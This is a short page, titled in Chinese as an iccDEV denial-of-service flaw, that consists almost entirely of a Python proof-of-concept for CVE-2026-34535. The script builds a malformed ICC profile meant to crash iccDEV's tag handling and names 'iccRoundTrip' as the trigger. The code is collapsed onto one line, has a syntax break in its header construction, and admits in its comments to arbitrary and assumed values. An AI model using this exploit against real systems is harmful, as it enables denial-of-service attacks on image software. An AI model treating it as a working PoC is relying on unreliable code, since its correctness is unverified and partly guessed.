CVE-2026-34535 iccDEV 拒绝服务漏洞

# PoC for CVE-2026-34535 (iccDEV Segmentation Fault) # This script generates a crafted ICC profile intended to trigger the SEGV. import struct def create_malformed_icc(filename): # ICC Header (simplified) header = b"\x00\x00\x00\x00" + \ b"acsp" + \ b"\x00\x00\x00\x00" + \ struct.pack(">I", 0x2100000) + # Profile version b"\x00\x00\x00\x00" * 4 # Tag Table Entry causing misalignment in CIccTagArray::Cleanup # The specific offset/size needs to force misaligned access. # Assuming a crafted tag table that points to invalid/misaligned data. tag_count = 1 tag_table = struct.pack(">I", tag_count) # Tag signature, offset, size # Offset 0x100 (arbitrary), size might trigger the bug tag_table += b"malc" + struct.pack(">II", 0x100, 4) # Malicious data section data = b"\x41" * 0x20 with open(filename, "wb") as f: f.write(header + tag_table + data) print(f"Malformed ICC profile saved to {filename}") print("Trigger: iccRoundTrip " + filename) if __name__ == "__main__": create_malformed_icc("poc_cve_2026_34535.icc")